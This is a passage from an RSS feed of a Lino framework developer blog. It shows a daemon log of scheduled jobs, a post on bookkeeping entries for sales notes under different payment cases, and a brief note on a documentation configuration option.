class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;PID&lt;/span&gt; &lt;span class="mi"&gt;6000&lt;/span&gt;
&lt;span class="mi"&gt;202207&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;linod&lt;/span&gt; &lt;span class="mi"&gt;6001&lt;/span&gt; &lt;span class="mi"&gt;140241389811520&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="n"&gt;scheduled&lt;/span&gt; &lt;span class="n"&gt;jobs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="mi"&gt;202207&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;linod&lt;/span&gt; &lt;span class="mi"&gt;6001&lt;/span&gt; &lt;span class="mi"&gt;140241389811520&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Every&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;event_notification_scheduler&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;never&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;202207&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;linod&lt;/span&gt; &lt;span class="mi"&gt;6001&lt;/span&gt; &lt;span class="mi"&gt;140241389811520&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Every&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;checksummaries&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;never&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;202207&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;linod&lt;/span&gt; &lt;span class="mi"&gt;6001&lt;/span&gt; &lt;span class="mi"&gt;140241389811520&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Every&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;checkdata&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;never&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;202207&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;linod&lt;/span&gt; &lt;span class="mi"&gt;6001&lt;/span&gt; &lt;span class="mi"&gt;140241389811520&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Every&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;send_pending_emails_often&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;never&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;202207&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;linod&lt;/span&gt; &lt;span class="mi"&gt;6001&lt;/span&gt; &lt;span class="mi"&gt;140241389811520&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Every&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;send_pending_emails_daily&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;never&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;202207&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;linod&lt;/span&gt; &lt;span class="mi"&gt;6001&lt;/span&gt; &lt;span class="mi"&gt;140241389811520&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Every&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;clear_seen_messages&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;never&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;202207&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;linod&lt;/span&gt; &lt;span class="mi"&gt;6001&lt;/span&gt; &lt;span class="mi"&gt;140241389811520&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Every&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;update_all_repos&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;never&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;202207&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;linod&lt;/span&gt; &lt;span class="mi"&gt;6001&lt;/span&gt; &lt;span class="mi"&gt;140241389811520&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Every&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;get_new_mail&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;never&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0730.html</guid><pubDate>Sat, 30 Jul 2022 00:00:00 +0000</pubDate></item><item><title>About sales notes</title><link>https://luc.lino-framework.org/blog/2022/0618.html</link><description>&lt;section id="about-sales-notes"&gt;
&lt;h1&gt;About sales notes&lt;a class="headerlink" href="#about-sales-notes" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Saturday, June 18, 2022&lt;/p&gt;
&lt;p&gt;Sales notes&lt;/p&gt;
&lt;p&gt;First use case: a sales note is being paid cash immediately. We don’t know
anything about the customer.&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;thead&gt;
&lt;tr class="row-odd"&gt;&lt;th class="head"&gt;&lt;p&gt;Account&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;Debit&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;Credit&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;Partner&lt;/p&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;701000 sales of goods&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;100 €&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;570000 cash&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;100 €&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Second case: client pays with credit card or online payment. Here we know the
partner (at least his card number), and the API communication with the bank has
been done during &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;register()&lt;/span&gt;&lt;/code&gt; (otherwise the voucher would not have been
registered).&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;thead&gt;
&lt;tr class="row-odd"&gt;&lt;th class="head"&gt;&lt;p&gt;Account&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;Debit&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;Credit&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;Partner&lt;/p&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;701000 sales of goods&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;100 €&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;400000 clients receivable&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;100 €&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;somebody&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;400000 clients receivable&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;100 €&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;somebody&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;570100 credit card payments&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;100 €&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Third case. The payment fails. We say “Okay, take your goods and we trust you to
come back tomorrow and pay in cash”.  Just set &lt;a class="reference external" href="https://using.lino-framework.org/plugins/accounting.html#term-payment-method" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;payment method&lt;/span&gt;&lt;/a&gt; to
“invoice” or “later”. Lino should book this:&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;thead&gt;
&lt;tr class="row-odd"&gt;&lt;th class="head"&gt;&lt;p&gt;Account&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;Debit&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;Credit&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;Partner&lt;/p&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;701000 sales of goods&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;100 €&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;400000 clients receivable&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;100 €&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;somebody&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;When the customer returns later the same day and pays cash, we register a
&lt;strong&gt;payment without sale&lt;/strong&gt;. This is just a sales note without any product. Lino
should automatically show in the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;balance_before&lt;/span&gt;&lt;/code&gt; virtual field. And since
there are no items, the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;balance_to_pay&lt;/span&gt;&lt;/code&gt; will be the same.&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;thead&gt;
&lt;tr class="row-odd"&gt;&lt;th class="head"&gt;&lt;p&gt;Account&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;Debit&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;Credit&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;Partner&lt;/p&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;400000 clients receivable&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;100 €&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;somebody&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;570000 cash payment&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;100 €&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;If the client forgets to return and to pay, we will automatically issue an
invoice.&lt;/p&gt;
&lt;p&gt;Next use case: we have an agreement with the client that they receive a monthly
invoice for all sales. Two sub-cases: (a) client pays on each delivery or (b)
client pays only when invoice comes.&lt;/p&gt;
&lt;p&gt;In both cases we have already the money (or a proof that promises that we will
get money), but we still need to write an invoice. The payment should &lt;em&gt;not&lt;/em&gt;
clear with the sales note but with the invoice.&lt;/p&gt;
&lt;p&gt;When (a), we do have the cash without invoice. &lt;strong&gt;Invoices to issue&lt;/strong&gt;&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0618.html</guid><pubDate>Sat, 18 Jun 2022 00:00:00 +0000</pubDate></item><item><title>Sunday, May 29, 2022</title><link>https://luc.lino-framework.org/blog/2022/0529.html</link><description>&lt;section id="sunday-may-29-2022"&gt;
&lt;h1&gt;Sunday, May 29, 2022&lt;a class="headerlink" href="#sunday-may-29-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;For example &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/rstgen.html#envvar-use_dirhtml" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_dirhtml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. This option is needed by &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
when rendering the footer of a html page.  So both rstgen and atelier need it.
But we want to store (and maintain) it in only one place.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0529.html</guid><pubDate>Sun, 29 May 2022 00:00:00 +0000</pubDate></item><item><title>Sunday, May 22, 2022</title><link>https://luc.lino-framework.org/blog/2022/0522.html</link><description>&lt;section id="sunday-may-22-2022"&gt;
